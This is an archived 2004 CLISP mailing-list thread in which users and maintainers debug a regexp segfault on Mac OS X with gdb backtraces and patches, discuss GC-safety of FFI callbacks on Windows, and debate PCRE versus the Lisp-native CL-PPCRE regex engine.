4   lisp.run 	0x00015dfc eval + 0x198 (crt.c:300)
5   lisp.run 	0x0001616c eval1 + 0x180 (crt.c:300)
6   lisp.run 	0x00015dfc eval + 0x198 (crt.c:300)
7   lisp.run 	0x000b1258 C_read_eval_print + 0xac (crt.c:300)
8   lisp.run 	0x0001c280 funcall_subr + 0x904 (crt.c:300)
9   lisp.run 	0x0001f5d8 interpret_bytecode_ + 0x2888 (crt.c:300)
10  lisp.run 	0x0001ccb4 funcall_closure + 0x9e8 (crt.c:300)
11  lisp.run 	0x0002ad70 C_driver + 0x98 (crt.c:300)
12  lisp.run 	0x0001f718 interpret_bytecode_ + 0x29c8 (crt.c:300)
13  lisp.run 	0x0001ccb4 funcall_closure + 0x9e8 (crt.c:300)
14  lisp.run 	0x0001fe88 interpret_bytecode_ + 0x3138 (crt.c:300)
15  lisp.run 	0x0001ccb4 funcall_closure + 0x9e8 (crt.c:300)
16  lisp.run 	0x000b151c driver + 0x94 (crt.c:300)
17  lisp.run 	0x0000e904 main + 0x1ef8 (crt.c:300)
18  lisp.run 	0x00001fd0 _start + 0x188 (crt.c:267)
19  dyld     	0x8fe1a558 _dyld_start + 0x64

PPC Thread State:
   srr0: 0x00002c04 srr1: 0x0000f030                vrsave: 0x00000000
     cr: 0x24000442  xer: 0x20000004   lr: 0x00002ae0  ctr: 0x00002950
     r0: 0xbfffd820   r1: 0xbfffd790   r2: 0xb7ffffe0   r3: 0x19f5ef45
     r4: 0x00000001   r5: 0x001b50ac   r6: 0x001b50ac   r7: 0x00000000
     r8: 0x00000007   r9: 0x19f5ef45  r10: 0x00000000  r11: 0x001b5098
    r12: 0x00002950  r13: 0x00000000  r14: 0x00000000  r15: 0x00000000
    r16: 0x00000000  r17: 0x00000000  r18: 0x00000000  r19: 0x00000000
    r20: 0x00000000  r21: 0x00182958  r22: 0x00000000  r23: 0x00501070
    r24: 0x001b505c  r25: 0x0017b98c  r26: 0x00000008  r27: 0x00000004
    r28: 0x19f5eea5  r29: 0x001b5098  r30: 0xbfffd790  r31: 0x00002958

Binary Images Description:
     0x1000 -   0x16afff lisp.run 	/sw/lib/clisp/full/lisp.run
   0x208000 -   0x244fff libreadline.4.dylib 	/sw/lib/libreadline.4.dylib
0x72ece000 - 0x72fa3fff libiconv.2.dylib 	/sw/lib/libiconv.2.dylib
0x8594b000 - 0x8594ffff libintl.1.dylib 	/sw/lib/libintl.1.dylib
0x85a0b000 - 0x85a34fff libncurses.5.dylib 	/sw/lib/libncurses.5.dylib
0x8fe00000 - 0x8fe4ffff dyld 	/usr/lib/dyld
0x90000000 - 0x90122fff libSystem.B.dylib 	/usr/lib/libSystem.B.dylib
0x939d0000 - 0x939d4fff libmathCommon.A.dylib 
	/usr/lib/system/libmathCommon.A.dylib

Thanks. If you need more info, just ask.

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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-07 14:24:49 -0400]:
>
> [1]> (regexp:match "." "aoeu")
> Segmentation fault

Works for me.

> I built CLISP (as per the FAQ) with ./configure --prefix=/sw
> --with-module=regexp --with-debug --build build-g, but, when I ran
> ./build-g/clisp through gdb, and typed "run", I got a SIGTRAP:
>
> [Taggart.local ~/Download/clisp-2.33.2] gdb ./build-g/clisp

that should have been
$ cd build-g
$ gdb
(gdb) full
(gdb) run

or at least

$ gdb ./build-g/full/lisp.run
(gdb) run -M ./build-g/full/lispinie.mem

Thank you very much for such a thorough bug report!

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Hi, Andreas,

> access violation occurs when loading defs1.lisp. Thus I could narrow
> the problematic range. I'm sure I will isolate the problem
> and continue reporting ...

You can now try to build debug version with MSVC (using the sources in
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Here's the gdb backtrace:

[Taggart.local ~/Download/clisp-2.33.2/build-g] gdb
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This GDB was configured as "powerpc-apple-darwin".
Reading symbols for shared libraries ...... done
Breakpoint 1 at 0x3432c: file eval.d, line 4802.
Breakpoint 2 at 0x2f8f0: file eval.d, line 3903.
Breakpoint 3 at 0x290bc: file eval.d, line 2790.
Breakpoint 4 at 0x378bc: file eval.d, line 5757.
Breakpoint 5 at 0x9128: file spvw_garcol.c, line 2683.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0xd730: file spvw.d, line 644.
Breakpoint 8 at 0x485c: file spvw.d, line 488.
Breakpoint 9 at 0x4940: file spvw.d, line 499.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x0003432c in funcall at eval.d:4802
         xout fun
2   breakpoint     keep n   0x0002f8f0 in apply at eval.d:3903
         xout fun
3   breakpoint     keep n   0x000290bc in eval at eval.d:2790
         xout form
4   breakpoint     keep n   0x000378bc in interpret_bytecode_ at  
eval.d:5757
         xout closure
5   breakpoint     keep n   0x00009128 in gar_col at spvw_garcol.c:2683
6   hw watchpoint  keep n              back_trace
         zbacktrace
         continue
7   breakpoint     keep y   0x0000d730 in fehler_notreached at  
spvw.d:644
8   breakpoint     keep y   0x0000485c in SP_ueber at spvw.d:488
9   breakpoint     keep y   0x00004940 in STACK_ueber at spvw.d:499
Function "sigsegv_handler_failed" not defined.
.gdbinit:145: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) full
Function "my_type_error" not defined.
Function "closed_display_error" not defined.
(gdb) run
Starting program:  
/Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M  
full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS
Reading symbols for shared libraries +. done
STACK depth: 16367
;; Loading file  
/Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- 
demos.lisp ...
*** - FIND-SYMBOL: There is no package with name "XLIB"
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [2]> :a

[1]> (regexp:match "." "aoeu")

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x000035f4 in C_subr_regexp_regexp_exec () at regexi.c:96
96        ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
(gdb) bt
#0  0x000035f4 in C_subr_regexp_regexp_exec () at regexi.c:96
#1  0x00037a00 in funcall_subr (fun={one_o = 2498810}, args_on_stack=8)  
at eval.d:5201
#2  0x00036268 in funcall (fun={one_o = 445571049}, args_on_stack=10)  
at eval.d:4810
#3  0x0003ddfc in interpret_bytecode_ (closure={one_o = 445575221},  
codeptr=0x1a8eef8c, byteptr=0x1a8ef016  
"\031\f?\e???\e???\e???\e???\eC?\eE?\eG?\eI\032?\2204") at eval.d:6841
#4  0x00030bf0 in eval_closure (closure={one_o = 445575221}) at  
eval.d:3750
#5  0x0002b8d0 in eval1 (form={one_o = 1721543067}) at eval.d:2931
#6  0x0002b1fc in eval (form={one_o = 1721543067}) at eval.d:2810
#7  0x0002b774 in eval1 (form={one_o = 1721543067}) at eval.d:2899
#8  0x0002b1fc in eval (form={one_o = 1721543123}) at eval.d:2810
#9  0x0015d594 in C_read_eval_print () at debug.d:311
#10 0x00037a00 in funcall_subr (fun={one_o = 2504018}, args_on_stack=2)  
at eval.d:5201
#11 0x00036268 in funcall (fun={one_o = 2533441}, args_on_stack=2) at  
eval.d:4810
#12 0x0003e314 in interpret_bytecode_ (closure={one_o = 445661401},  
codeptr=0x1a8bae64, byteptr=0x1a8bae8a  
"\037\ak\a\211\b\005.\tQ\031\001?\017\v") at eval.d:6856
#13 0x00039560 in funcall_closure (closure={one_o = 445661401},  
args_on_stack=0) at eval.d:5641
#14 0x00036210 in funcall (fun={one_o = 445661401}, args_on_stack=0) at  
eval.d:4805
#15 0x00054cb0 in C_driver () at control.d:1943
#16 0x0003e538 in interpret_bytecode_ (closure={one_o = 445361889},  
codeptr=0x1a8bae14, byteptr=0x1a8bae32 "\031\001\032?N4") at  
eval.d:6862
#17 0x00039560 in funcall_closure (closure={one_o = 445361889},  
args_on_stack=0) at eval.d:5641
#18 0x00036210 in funcall (fun={one_o = 445361889}, args_on_stack=0) at  
eval.d:4805
#19 0x0003f630 in interpret_bytecode_ (closure={one_o = 445579677},  
codeptr=0x1a83f780, byteptr=0x1a83f7c2 "\031\001\032\235\227?") at  
eval.d:6912
#20 0x00039560 in funcall_closure (closure={one_o = 445579677},  
args_on_stack=0) at eval.d:5641
#21 0x00036210 in funcall (fun={one_o = 445579677}, args_on_stack=0) at  
eval.d:4805
#22 0x0015dbe8 in driver () at debug.d:380
#23 0x000205d4 in reset (count=4407836) at eval.d:513
#24 0x00042be8 in interpret_bytecode_ (closure={one_o = 444692129},  
codeptr=0x1a81715c, byteptr=0x1a8172ef "\021\030\001") at eval.d:7438
#25 0x000392e4 in funcall_closure (closure={one_o = 444692129},  
args_on_stack=1) at eval.d:5622
#26 0x000362a4 in funcall (fun={one_o = 2533469}, args_on_stack=1) at  
eval.d:4812
#27 0x0001aa98 in main (argc=11, argv=0xbffffba8) at spvw.d:2861
(gdb)


I don't exactly know what to do about the XLIB package error....

> that should have been
> $ cd build-g
> $ gdb
> (gdb) full
> (gdb) run
>
> or at least
>
> $ gdb ./build-g/full/lisp.run
> (gdb) run -M ./build-g/full/lispinie.mem
>
> Thank you very much for such a thorough bug report!
>
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> Do you know where I can find this thing, or what is the easiest
> way to accomplish the callback?
See the Example 30.10 in impnotes. You do not need def-call-in.
(If I understand you correctly).

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>... See the Example 30.10 in impnotes. You do not need def-call-in.
>(If I understand you correctly).

Thanks for the hint.

Actually this is what I am doing. I think you are right, this is a simple
and correct way. It seems, this automatically installs begin_callback and
end_callback and passes a trompoline referrence. (Meanwhile I wondered about
http://sourceforge.net/mailarchive/message.php?msg_id=2434253 and thought I
had to use begin/end_callback)

I call my callback function from within a dll in the windows message loop,
so lisp can see the messages. This seems to work fine if the code is small.
The thing I am nervous about is, I did (print message) or (format t ...
anything ...) inside my callback function. This crashes the program from
time to time when garbage collection is executed. But not everytime! If (gc)
is include it crashed definitely after a few calls. So my question is, what
is allowed and what isn't? Why crashes (format t "~a ~a ~a ~a~%" hWnd
Message wParaem lParam) clisp totally? (after hundreds of successful calls)

I'll try to figure this out by debugging the clisp debug version. If you or
anybody has an (easy) answer, I'd be happy to know it.

Thanks
Andreas



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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-07 21:14:07 -0400]:
>
> Here's the gdb backtrace:
>
> [1]> (regexp:match "." "aoeu")
>
> Program received signal EXC_BAD_ACCESS, Could not access memory.
> 0x000035f4 in C_subr_regexp_regexp_exec () at regexi.c:96
> 96        ret =
> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));

it would be interesting to see the values the some local variables.
presumably "re" is NULL.

please try the appended patch.

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--- regexi.c	13 May 2004 22:37:36 -0400	1.19
+++ regexi.c	08 Jun 2004 10:21:48 -0400	
@@ -81,7 +81,15 @@
   regex_t *re;
   regmatch_t *ret;
   skipSTACK(5);                 /* drop all options */
+  while(1) {
   STACK_1 = check_fpointer(STACK_1,true);
+    re = (regex_t*)TheFpointer(STACK_1)->fp_pointer;
+    if (re != NULL) break;
+    pushSTACK(NIL);             /* no PLACE */
+    pushSTACK(STACK_(1+1)); pushSTACK(TheSubr(subr_self)->name);
+    check_value(error,GETTEXT("~S: NULL pattern ~S"));
+    STACK_1 = value1;
+  }
   string = STACK_0;
   if (end != length || start != 0) {
     pushSTACK(sfixnum((int)(end-start)));
@@ -91,7 +99,6 @@
     funcall(L(make_array),7);
     string = value1;
   }
-  re = (regex_t*)TheFpointer(STACK_1)->fp_pointer;
   begin_system_call();
   ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
   end_system_call();


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> * Andreas Thiele <naqernf.guvryr@grpuabybtvrxbagbe.qr> [2004-06-08 12:00:44 +0200]:
>
> I call my callback function from within a dll in the windows message
> loop, so lisp can see the messages. This seems to work fine if the
> code is small.  The thing I am nervous about is, I did (print message)
> or (format t ...  anything ...) inside my callback function. This
> crashes the program from time to time when garbage collection is
> executed. But not everytime! If (gc) is include it crashed definitely
> after a few calls. So my question is, what is allowed and what isn't?
> Why crashes (format t "~a ~a ~a ~a~%" hWnd Message wParaem lParam)
> clisp totally? (after hundreds of successful calls)

You are probably encountering a GC-safety bug in your code.
<http://clisp.cons.org/impnotes/gc-safety.html>.

Basically, you write your C code like this:

           object my_variable;
           /*assign something to my_variable*/
           pushSTACK(my_variable); /* save my_variable to the STACK */
           begin_callback(); /* save registers */
           <invoke your callback: this invalidates registers
            and, if it may trigger GC, may invalidate object variables>
           end_callback(); /* restore registers */
           my_variable = popSTACK(); /* restore my_variable from STACK */

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<...
You are probably encountering a GC-safety bug in your code.
<http://clisp.cons.org/impnotes/gc-safety.html>.

Basically, you write your C code like this:

           object my_variable;
           /*assign something to my_variable*/
           pushSTACK(my_variable); /* save my_variable to the STACK */
           begin_callback(); /* save registers */
           <invoke your callback: this invalidates registers
            and, if it may trigger GC, may invalidate object variables>
           end_callback(); /* restore registers */
           my_variable = popSTACK(); /* restore my_variable from STACK */
...>

Thanks a lot for your help. I just can't figure out how to compile this (on
win32/msvc 6.0). Until now (FFI:DEF-CALL-OUT used only) everything was easy.
Do I have to write a module? This can only be achieved using cygwin on
Win32?

Until now I did:

...

(FFI:DEF-CALL-OUT SetMsgCallBack
  (:library "ghwemu.dll")
  (:language :stdc)
  (:name "SetMsgCallBack")
  (:arguments (function-arg
    (ffi:c-function
     (:arguments (hWnd ffi:sint32) (Message ffi:uint16) (wParam ffi:sint16)
(lParam ffi:sint32))
     (:return-type ffi:sint32) (:language :stdc))))
  (:return-type sint32))

(defun WndProc (hWnd Message wParam lParam)
  (let ((m (make-msg)))
    (setf (msg-hWnd m) hWnd)
    (setf (msg-Message m) Message)
    (setf (msg-wParam m) wParam)
    (setf (msg-lParam m) lParam)
    ;following crashes occasionally
    (print m)
    ;(push m *msg*) works if used instead of (print m)
    )
  0)

(SetMsgCallBack #'WndProc)

...

c-code contains:

...

typedef int (*LispMsgFunc)(HWND, UINT, WPARAM, LPARAM);
LispMsgFunc fMsg;

long SetMsgCallBack(LispMsgFunc mcb)
{
	WaitForSingleObject(info_call, INFINITE);
	fMsg = mcb;
	ReleaseMutex(info_call);
	return (long)mcb;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
...
	WaitForSingleObject(info_call, INFINITE);
	// call lisp if avail
	if ((void*) fMsg) fMsg(hWnd, message, wParam, lParam);
	ReleaseMutex(info_call);
...

This is not GC save?

Can I use FFI:DEF-CALL-IN btw. the by compilation generated *.c file? I
don't find clisp.h which is included in the first line of the *.c file.
Neither can I make nmake create genclisph.exe. Perhaps it is much easier to
write gc save lisp code? Isn't there any tutorial? I'd be willing to write
one.

I find example 30.10 from impnotes somehow misleading. No begin_callback
etc. is included automatically? So this works only in this special situation
(calling back from within calling out)! And the code must not trigger gc?(Of
course this is already helpful, because one can use any lisp function from
c.)

Rem: I already read before <http://clisp.cons.org/impnotes/gc-safety.html>
and still find it difficult to understand.

Any help or hint is appreciated.

Thanks
Andreas



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> * Andreas Thiele <naqernf.guvryr@grpuabybtvrxbagbe.qr> [2004-06-08 18:24:43 +0200]:
>
> Do I have to write a module?
I don't think so.

> This can only be achieved using cygwin on Win32?
no, modules are fully supported using mingw also.

> This is not GC save?
I think it's OK.

> Rem: I already read before <http://clisp.cons.org/impnotes/gc-safety.html>
> and still find it difficult to understand.

some things _are_ complicated.  this is one of them.

> Any help or hint is appreciated.

it would be very nice if you could do the following:

1. get mingw (e.g., as a part of cygwin).

2. build CLISP like this:
$ CC=g++ ./configure --with-debug build-g-gxx

3. run CLISP under GDB and try your code:
$ cd build-g-gxx
$ gdb
(gdb) run
[1]> (def-call-... ....)

you should get an abort at the first invalid access.
please send the backtrace.

Thanks a lot!

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...
it would be very nice if you could do the following:

1. get mingw (e.g., as a part of cygwin).

2. build CLISP like this:
$ CC=g++ ./configure --with-debug build-g-gxx

3. run CLISP under GDB and try your code:
...

Thank you. I will do it.

(Rem: Hope you didn't get me wrong, I did't want to be impolite. I am very
happy about clisp and find it a great thing. Just fighting for days against
this callback thing only)

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> * Andreas Thiele <naqernf.guvryr@grpuabybtvrxbagbe.qr> [2004-06-08 18:59:55 +0200]:
>
> (Rem: Hope you didn't get me wrong, I did't want to be impolite. I am
> very happy about clisp and find it a great thing. Just fighting for
> days against this callback thing only)

Yes, I understand, and all CLISP developers will greatly appreciate it
if you will help us nail this bug!

Happy hacking!

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On 08 Jun 2004, at 10.23, Sam Steingold wrote:

>
> please try the appended patch.
>

Tried it. Same result. Here's the backtrace:

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Reading symbols for shared libraries ...... done
Breakpoint 1 at 0x3432c: file eval.d, line 4802.
Breakpoint 2 at 0x2f8f0: file eval.d, line 3903.
Breakpoint 3 at 0x290bc: file eval.d, line 2790.
Breakpoint 4 at 0x378bc: file eval.d, line 5757.
Breakpoint 5 at 0x9128: file spvw_garcol.c, line 2683.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0xd730: file spvw.d, line 644.
Breakpoint 8 at 0x485c: file spvw.d, line 488.
Breakpoint 9 at 0x4940: file spvw.d, line 499.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x0003432c in funcall at eval.d:4802
         xout fun
2   breakpoint     keep n   0x0002f8f0 in apply at eval.d:3903
         xout fun
3   breakpoint     keep n   0x000290bc in eval at eval.d:2790
         xout form
4   breakpoint     keep n   0x000378bc in interpret_bytecode_ at  
eval.d:5757
         xout closure
5   breakpoint     keep n   0x00009128 in gar_col at spvw_garcol.c:2683
6   hw watchpoint  keep n              back_trace
         zbacktrace
         continue
7   breakpoint     keep y   0x0000d730 in fehler_notreached at  
spvw.d:644
8   breakpoint     keep y   0x0000485c in SP_ueber at spvw.d:488
9   breakpoint     keep y   0x00004940 in STACK_ueber at spvw.d:499
Function "sigsegv_handler_failed" not defined.
.gdbinit:145: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) full
Function "my_type_error" not defined.
Function "closed_display_error" not defined.
(gdb) run
Starting program:  
/Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M  
full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS
Reading symbols for shared libraries +. done
STACK depth: 16367
;; Loading file  
/Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- 
demos.lisp ...
*** - FIND-SYMBOL: There is no package with name "XLIB"
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [2]> :a

[1]> *features*
(:REGEXP :CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL
  :INTERPRETER :CLISP-DEBUG :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES  
:SCREEN
  :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :UNIX)
[2]> (regexp:match "." "aoeu")

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
103       ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
(gdb) bt
#0  0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
#1  0x000379ec in funcall_subr (fun={one_o = 2498810}, args_on_stack=8)  
at eval.d:5201
#2  0x00036254 in funcall (fun={one_o = 445571057}, args_on_stack=10)  
at eval.d:4810
#3  0x0003dde8 in interpret_bytecode_ (closure={one_o = 445575229},  
codeptr=0x1a8eef94, byteptr=0x1a8ef01e  
"\031\f?\e???\e???\e???\e???\eC?\eE?\eG?\eI\032?\220<") at eval.d:6841
#4  0x00030bdc in eval_closure (closure={one_o = 445575229}) at  
eval.d:3750
#5  0x0002b8bc in eval1 (form={one_o = 1721542395}) at eval.d:2931
#6  0x0002b1e8 in eval (form={one_o = 1721542395}) at eval.d:2810
#7  0x0002b760 in eval1 (form={one_o = 1721542395}) at eval.d:2899
#8  0x0002b1e8 in eval (form={one_o = 1721542451}) at eval.d:2810
#9  0x0015d580 in C_read_eval_print () at debug.d:311
#10 0x000379ec in funcall_subr (fun={one_o = 2504018}, args_on_stack=2)  
at eval.d:5201
#11 0x00036254 in funcall (fun={one_o = 2533441}, args_on_stack=2) at  
eval.d:4810
#12 0x0003e300 in interpret_bytecode_ (closure={one_o = 445661425},  
codeptr=0x1a8bae64, byteptr=0x1a8bae8a  
"\037\ak\a\211\b\005.\tQ\031\001?\017\v") at eval.d:6856
#13 0x0003954c in funcall_closure (closure={one_o = 445661425},  
args_on_stack=0) at eval.d:5641
#14 0x000361fc in funcall (fun={one_o = 445661425}, args_on_stack=0) at  
eval.d:4805
#15 0x00054c9c in C_driver () at control.d:1943
#16 0x0003e524 in interpret_bytecode_ (closure={one_o = 445361889},  
codeptr=0x1a8bae14, byteptr=0x1a8bae32 "\031\001\032?N4") at  
eval.d:6862
#17 0x0003954c in funcall_closure (closure={one_o = 445361889},  
args_on_stack=0) at eval.d:5641
#18 0x000361fc in funcall (fun={one_o = 445361889}, args_on_stack=0) at  
eval.d:4805
#19 0x0003f61c in interpret_bytecode_ (closure={one_o = 445579685},  
codeptr=0x1a83f780, byteptr=0x1a83f7c2 "\031\001\032\235\227?") at  
eval.d:6912
#20 0x0003954c in funcall_closure (closure={one_o = 445579685},  
args_on_stack=0) at eval.d:5641
#21 0x000361fc in funcall (fun={one_o = 445579685}, args_on_stack=0) at  
eval.d:4805
#22 0x0015dbd4 in driver () at debug.d:380
#23 0x000205c0 in reset (count=4407836) at eval.d:513
#24 0x00042bd4 in interpret_bytecode_ (closure={one_o = 444692129},  
codeptr=0x1a81715c, byteptr=0x1a8172ef "\021\030\001") at eval.d:7438
#25 0x000392d0 in funcall_closure (closure={one_o = 444692129},  
args_on_stack=1) at eval.d:5622
#26 0x00036290 in funcall (fun={one_o = 2533469}, args_on_stack=1) at  
eval.d:4812
#27 0x0001aa84 in main (argc=11, argv=0xbffffba8) at spvw.d:2861
(gdb)

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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-08 16:25:19 -0400]:
>
> *** - FIND-SYMBOL: There is no package with name "XLIB"

you can edit .gdbinit to avoid this

> [2]> (regexp:match "." "aoeu")
>
> Program received signal EXC_BAD_ACCESS, Could not access memory.
> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
> 103       ret =
> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));

p re
p re->re_nsub

add a break in C_subr_regexp_regexp_compile() and make sure that "re"
here points to the same location which was allocated by my_malloc() in
C_subr_regexp_regexp_compile().

what is "re->re_nsub" when we leave C_subr_regexp_regexp_compile?


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> * Edi Weitz <rqv@ntunegn.qr> [2004-05-28 03:16:58 +0200]:
>
>   [1]> (pcre:pcre-exec (pcre:pcre-compile "(aa)(.*)") "aaxx")

this is a bug in the PCRE library.
I reported it to the implementor.
A workaround is to use malloc() instead of alloca(), patch appended.

>   [1]> (defparameter *xxxx* (make-string 10000 :initial-element #\x))
>   *XXXX*
>   [2]> (pcre:pcre-exec (pcre:pcre-compile "(.)*" :dotall t) *xxxx*)

this is a bug in the PCRE library.
I reported it to the implementor.
I do not know of a workaround.

>   [4]> (test)
>   CL-PPCRE wins by a factor of 2.8
>   CL-PPCRE wins by a factor of 44.0
>   PCRE wins by a factor of 2.4
>   PCRE wins by a factor of 1.3
>   PCRE wins by a factor of 1.3
>   CL-PPCRE wins by a factor of 3.0
>   PCRE wins by a factor of 12.0
>   PCRE wins by a factor of 22.3
>   PCRE wins by a factor of 14.2
>   PCRE wins by a factor of 23.8
>   PCRE wins by a factor of 2.5
>   PCRE wins by a factor of 1.8
>   PCRE wins by a factor of 7.2
>   PCRE wins by a factor of 5.4
>   PCRE wins by a factor of 12.3
>   PCRE wins by a factor of 18.9
>   PCRE wins by a factor of 2.3
>   PCRE wins by a factor of 1.2
>   PCRE wins by a factor of 15.8
>   PCRE wins by a factor of 24.9
>   PCRE wins by a factor of 13.5
>   CL-PPCRE wins by a factor of 1.6
>   PCRE wins by a factor of 12.0
>   PCRE wins by a factor of 8.9
>   PCRE wins by a factor of 12.5
>   PCRE wins by a factor of 11.0
>   PCRE wins by a factor of 1.4
>   CL-PPCRE wins by a factor of 1.1

did you try passing ":study t" to pcre-compile?

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--- cpcre.c	13 May 2004 22:41:11 -0400	1.16
+++ cpcre.c	10 Jun 2004 11:00:55 -0400	
@@ -339,7 +339,7 @@
   end_system_call();
   if (ret < 0) pcre_error(ret);
   ovector_size = 3 * (capture_count + 1);
-  ovector = alloca(ovector_size);
+  ovector = malloc(ovector_size);
   with_string_0(check_string(STACK_0),Symbol_value(S(utf_8)),subject, {
       begin_system_call();
       /* subject_bytelen is the length of subject in bytes,
@@ -364,6 +364,7 @@
       VALUES1(popSTACK());
     }
   } else pcre_error(ret);
+  free(ovector);
   skipSTACK(2);                 /* drop pattern & subject */
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> * Edi Weitz <rqv@ntunegn.qr> [2004-05-28 01:38:15 +0200]:
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> 5. If you get an error you get an error Lisp can handle. Disasters
>    like this one can't happen:
>
>      [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t)
>
>      *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) !
>      SIGSEGV cannot be cured. Fault address = 0x14.
>      Segmentation fault

[1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t)

*** - REGEXP:REGEXP-COMPILE ("(a|(bc)){0,0}?xyz"): "repetition-operator
      operand invalid"
The following restarts are available:
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ABORT          :R2      ABORT

Break 1 [2]>

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On Thu, 10 Jun 2004 11:13:14 -0400, Sam Steingold <sds@gnu.org> wrote:

>> * Edi Weitz <rqv@ntunegn.qr> [2004-05-28 03:16:58 +0200]:

               ^--------- That's not my email address... :)

>>   [1]> (pcre:pcre-exec (pcre:pcre-compile "(aa)(.*)") "aaxx")
>
> this is a bug in the PCRE library.  I reported it to the
> implementor.  A workaround is to use malloc() instead of alloca(),
> patch appended.
>
>>   [1]> (defparameter *xxxx* (make-string 10000 :initial-element #\x))
>>   *XXXX*
>>   [2]> (pcre:pcre-exec (pcre:pcre-compile "(.)*" :dotall t) *xxxx*)
>
> this is a bug in the PCRE library.  I reported it to the
> implementor.  I do not know of a workaround.

OK, good. I seem to be rather efficient at finding bugs in regex
implementations... :)

>>   [4]> (test)
>>   CL-PPCRE wins by a factor of 2.8
>>   CL-PPCRE wins by a factor of 44.0
>>   PCRE wins by a factor of 2.4
>>   PCRE wins by a factor of 1.3
>>   PCRE wins by a factor of 1.3
>>   CL-PPCRE wins by a factor of 3.0
>>   PCRE wins by a factor of 12.0
>>   PCRE wins by a factor of 22.3
>>   PCRE wins by a factor of 14.2
>>   PCRE wins by a factor of 23.8
>>   PCRE wins by a factor of 2.5
>>   PCRE wins by a factor of 1.8
>>   PCRE wins by a factor of 7.2
>>   PCRE wins by a factor of 5.4
>>   PCRE wins by a factor of 12.3
>>   PCRE wins by a factor of 18.9
>>   PCRE wins by a factor of 2.3
>>   PCRE wins by a factor of 1.2
>>   PCRE wins by a factor of 15.8
>>   PCRE wins by a factor of 24.9
>>   PCRE wins by a factor of 13.5
>>   CL-PPCRE wins by a factor of 1.6
>>   PCRE wins by a factor of 12.0
>>   PCRE wins by a factor of 8.9
>>   PCRE wins by a factor of 12.5
>>   PCRE wins by a factor of 11.0
>>   PCRE wins by a factor of 1.4
>>   CL-PPCRE wins by a factor of 1.1
>
> did you try passing ":study t" to pcre-compile?

Nope, I didn't know about that one. Just checked the PCRE man page and
there it says:

  "At present, studying a pattern is useful only for non-anchored
   patterns that do not have a single fixed starting character. A
   bitmap of possible starting characters is created."

So, yes, this might help PCRE in a few cases but that was not my
point, the results above already show that PCRE is usually faster than
CL-PPCRE. My point was that a regex engine written in Lisp will be
fast enough in almost all cases you can imagine and it's portable
between different target platforms by definition.

IIRC this thread started with a discussion of problems of the current
approach (using a C library). These issues would be moot with a Lisp
library. And, as I said, it'd be good for Lisp marketing-wise if it
didn't have to rely on other programming languages to do the "real
work."

Just my EUR 0.02,
Edi.


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On Thu, 10 Jun 2004 11:21:58 -0400, Sam Steingold <sds@gnu.org> wrote:

>> * Edi Weitz <rqv@ntunegn.qr> [2004-05-28 01:38:15 +0200]:
>>
>> 5. If you get an error you get an error Lisp can handle. Disasters
>>    like this one can't happen:
>>
>>      [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t)
>>
>>      *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) !
>>      SIGSEGV cannot be cured. Fault address = 0x14.
>>      Segmentation fault
>
> [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t)
>
> *** - REGEXP:REGEXP-COMPILE ("(a|(bc)){0,0}?xyz"): "repetition-operator
>       operand invalid"
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead.
> ABORT          :R2      ABORT
>
> Break 1 [2]>

With the same CLISP version that I used?


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Edi Weitz indited:

> So, yes, this might help PCRE in a few cases but that was not my
> point, the results above already show that PCRE is usually faster than
> CL-PPCRE. My point was that a regex engine written in Lisp will be
> fast enough in almost all cases you can imagine and it's portable
> between different target platforms by definition.
>
> IIRC this thread started with a discussion of problems of the current
> approach (using a C library). These issues would be moot with a Lisp
> library. And, as I said, it'd be good for Lisp marketing-wise if it
> didn't have to rely on other programming languages to do the "real
> work."

As a way of working out the bugs of C-library<->CLISP interactions, it 
seems to have hit on some.

As for the the issues of regex, I fully agree with Edi, unless there is 
some major performance gain (which there isn't here), or some really 
obscure compatability issues, I don't see the point of any further 
effort in a non-Lisp regex.

Just my buck-two-fitty,
<D\'gou



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> * Edi Weitz <rqv@ntunegn.qr> [2004-06-10 17:24:30 +0200]:
>
> On Thu, 10 Jun 2004 11:21:58 -0400, Sam Steingold <sds@gnu.org> wrote:
>
>>> * Edi Weitz <rqv@ntunegn.qr> [2004-05-28 01:38:15 +0200]:
>>>
>>> 5. If you get an error you get an error Lisp can handle. Disasters
>>>    like this one can't happen:
>>>
